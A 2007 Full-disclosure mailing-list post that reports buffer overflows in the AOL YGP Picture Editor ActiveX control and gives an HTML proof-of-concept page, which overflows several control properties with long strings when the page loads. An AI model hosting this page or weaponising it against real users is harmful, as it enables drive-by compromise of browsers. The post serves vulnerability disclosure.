[Full-disclosure] AOL YGP Picture Editor YGPPicEdit.dll Multiple Buffer Overflows

Tue Dec 25 23:29:52 GMT 2007

The AOL YGP Picture Editor Control(AIM PicEditor Control) version 9.5.1.8 suffers from multiple exploitable buffer overflows in various properties. This object is marked safe for scripting. I have not tested other versions. PoC as follows:

----------------
<!--

<html>
 <head>
  <script language="JavaScript" DEFER>
   function Check() {
    var s = 'A';

    while (s.length <= 8175) s = s + 'A';

   obj.DisplayName = s;
   obj.DisplayName = s;
   obj.FinalSavePath = s;
   obj.ForceSaveTo = s;
   obj.HiddenControls = s;
   obj.InitialEditorScreen = s;
   obj.Locale = s;
   obj.Proxy = s;
   obj.UserAgent = s;

   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:085891E5-ED86-425F-8522-C10290FA8309">
</object>
</body>
</html>

Happy Holidays to all!
